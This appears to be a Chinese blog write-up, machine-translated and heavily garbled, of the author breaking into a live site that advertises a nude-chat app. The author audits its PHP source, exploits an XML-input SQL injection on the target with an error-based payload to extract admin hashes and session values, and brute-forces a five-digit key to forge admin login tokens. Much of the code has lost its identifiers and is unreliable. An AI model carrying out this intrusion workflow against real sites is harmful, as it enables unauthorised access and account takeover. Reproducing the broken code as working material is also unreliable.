php代码注入裸聊app下载php代码注入
2021-11-21
打开链接发现是裸聊app下载,夜神+burp抓包,
获取URL,通过js的文件特性找到源文件。
根据代码,发现他是一个,然后去官网下载源码审计
sql注入
在::方法中,执行SQL语句的点有很多
这里的注入需要满足$['']的可控性。发现$变量调用了当前类的()方法。跟进此方法:
() {$ = ();$cont = ("php://");//$cont = (."/test.txt");if(($cont)) $;$ = g($cont ,'', );$ = ::($); $;)
发现$cont是通过post数据流获取的,传入的xml,继续跟进::
($cont) {if(($cont) == "") $cont = ($cont);$arr = ()$cont;($arr as $item=>$key) {if(($key) =='') {$key = self::($key);} else if(($key) ==''){$key = self::($key);}$arr[$item] = $key;} $arr;}
这里不重要,只是将xml的值转换成数组,这样方法中的$是可控的,也就是可以产生SQL注入。经过本地测试,发现方法中的很多数据查询表中并不存在,这里找到了一个点:
跟进::方法,参数$key是我们可以控制的,参数$没有关系
全局搜索::在根目录.php中调用该方法
("inc.php");if(($_GET[""])) {echo $_GET[""];exit;}::();
现在只需要构造,这里进入::方法,需要输入:
($[''])->($[''])->$[''] ==''->$['']) ==''
这一点只能是盲注时间。我本地测试的时候,可以使用(1,if(({}),0x7c,1),1) 实现时间盲注到布尔注入)的方法,目标环境问题不能可以实现,所以我写了一个脚本来运行帐户密码。
我发现自己很愚蠢。目录文件中将生成数据库错误文件。路径为:/data///.txt(.txt)
知道表结构和字段,直接去目标站注入,得到后台密码hash,发现无法解密。看完代码php代码注入,有salt,通过md5(pass+salt)加密。在这里,盐也可以在密码表中看到。到了才发现无法解密。
伪造
在登录站点发现sum是用来登录的,感觉是可以伪造的。下面我就跟着代码看看是怎么生成的,验证登录码:
() {$ = $this->(); ::json($);}
跟进方式
() {$ = ("code" => 0, "id"=>0, "msg" => ::get(""));$ = ("" => ::post("")," "=> ::post("pwd"),"" => ::get(""),"" => ::get(""));if(!::pwd($[""]) ) {$["code"] = 7;$["msg"] = ::("tips"); $;}$arr = ::get("")->($);if( $arr[ "code"] != 0) {$ = $arr; $;} $;}
获取$数组中的登录账号密码,继续跟进
$通过::方法来的,现在只需要看看$['sid']是怎么来的,跟进查了一下,没有发现什么,这里,我直接把self::$['sid的值打印出来'] ,发现是ip+时间戳+随机数的形式
echo self::$['sid'];exit;
发现数据存放在数据库表的一个字段中,表示是否登录,1表示登录,0表示退出。
我们有一个注入点php代码注入,我们可以通过注入获得,现在跟进::方法,看中的是如何加密
跟踪 $ 变量以查看它的来源。跟进::,发现它来自data\\cfg.env..php中的一个常量。而这个常数是安装时随机的五位数
最后得到的$由$、($)、$三部分组成,所以这个$变量需要我们继续爆破,并且知道方法的$参数是ip+时间戳+随机数的形式,并且该漏洞将在下面重现。.
漏洞复发
首先抓取目标站的后台登录,如:,假设我的ip地址是104.192.225.86,传为=,去掉=。经过本地测试,发现ip++ 编码后是36位网站制作,所以上面的加密密文为:
我们通过注入获取$参数和登录状态
>>>>1' 和 (1,(0x7e,( (,0x7e,) from `` by desc 0,1),0x7e),1)#>note>
成功阅读后,这里需要爆破。这是一个五位数的数字。用他的代码修复php爆破脚本。
($,$="",$ =''){ // 192.168.50。$ = $;$ = ($);$ = md5($);$ = ($, 0, 1);$ = ($, -1, 1);$ = ord($) ;$ = ord($);$ = ($,-1,1);if($> 9) {$ = (($, -2, 1)) + $; }else{$ = $ * 2;}$ = (($, $, $));$ = ($, -1, 1);if($> 9){$ = ((( $, -2, 1)) + $;}else{$ = $ * 2;}$ = (($, -$)); if($ == ""){$ = ($); $ = $。
$. $;$ = ("=", "", $);}else{$ = ("=", "", $);$ = ("=", "", $);$ = ($); $ = ($);$ = ($);if($
($=1,$end=){for ($i=$; $i